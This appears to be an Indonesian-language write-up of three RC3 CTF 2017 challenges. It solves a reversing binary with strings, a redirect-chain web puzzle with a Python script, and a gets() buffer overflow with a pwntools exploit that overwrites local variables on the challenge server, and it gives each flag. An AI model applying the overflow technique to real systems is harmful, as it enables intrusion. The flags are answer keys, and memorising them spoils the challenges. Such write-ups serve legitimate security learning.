RC3 CTF 2017 Write Up
Reversing (100)
Diberikan file elf 64bit not stripped.
$ file hello
hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e85915bc2c95f7eac6c02254b065d9161e5efca2, not stripped
Hanya dengan menggunakan strings
didapatkan Flag yang benar.
$ strings hello | grep RC
RC3-2017{little_ball_of_fur}
Cukup mudah untuk challenge dengan points 100 :)
Flag : RC3-2017{little_ball_of_fur}
Web (100)
Diberikan sebuah website http://13.59.6.98
$ curl http://13.59.6.98
<meta http-equiv="refresh" content="0; url=C.html" /> <p hidden>R</p>
Website tersebut akan otomatis direfresh apabila dikunjungi via Browser. Tapi terdapat bagian <p hidden>R</p>
yang seperti nya adalah flag nya apabila mengikuti bagian url=C.html
Berikut script yang digunakan untuk melakukan automasi.
import requests
import re
url = "http://13.59.6.98"
flag = ""
while 1:
r =requests.get(url)
content = r.content
flag += re.findall("<p hidden>(.*?)</p>",content)[0]
if flag[-3:] == "777":
print "Flag : {}".format(flag)
break
url = "http://13.59.6.98/{}".format(re.findall("url=(.*?)\"",content)[0])
Setelah menunggu beberapa saat Flag akan muncul.
Flag : RC3W3MUS7G0D33P3RR3D1R3C777
Pwn (100)
Diberikan sebuah file elf 32bit stripped bernama easy_peasy
$ file easy_peasy
easy_peasy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=3a5dd5cc49b1a8efbc0a6269bdea9c1da99b3bcf, stripped
$ checksec easy_peasy
[*] 'easy_peasy'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Hasi decompile menggunakan IDA PRO
void __cdecl main()
{
int v0; // [sp+18h] [bp-18h]@1
int v1; // [sp+28h] [bp-8h]@1
int v2; // [sp+2Ch] [bp-4h]@1
v2 = 0;
v1 = 0;
printf("Enter Key: ");
gets((char *)&v0);
if ( v2 == 0xCAFEF00D && v1 == 0xC0FFEE )
sub_80484EF();
puts("Error: Invalid key!");
srand(1u);
init();
}
Terlihat penggunaan fungsi gets
yang vulnerable Buffer Overflow. Dan seperti nya tujuan dari challenge ini adalah melakukan Overwrite Local Variable v1 dan v2.
Perhitungan Padding.
int v0; // [sp+18h] [bp-18h]@1
int v1; // [sp+28h] [bp-8h]@1
int v2; // [sp+2Ch] [bp-4h]@1
>> # jumlah padding untuk overwrite v1
>> 0x18 - 0x8
16
>> # jumlah padding untuk overwrite v2
>> 0x18 - 0x4
20
Berikut script yang digunakan
from pwn import *
baby = remote("18.216.183.46",4200)
p = ""
p += "A" * 16
p += p32(0xC0FFEE) # v1
p += p32(0xCAFEF00D) # v2
baby.sendlineafter(": ",p)
print baby.recvline()
Flag: RC3-2017{S3E_N0T_TO0_B4D_HUH_ec1368b59b858e08}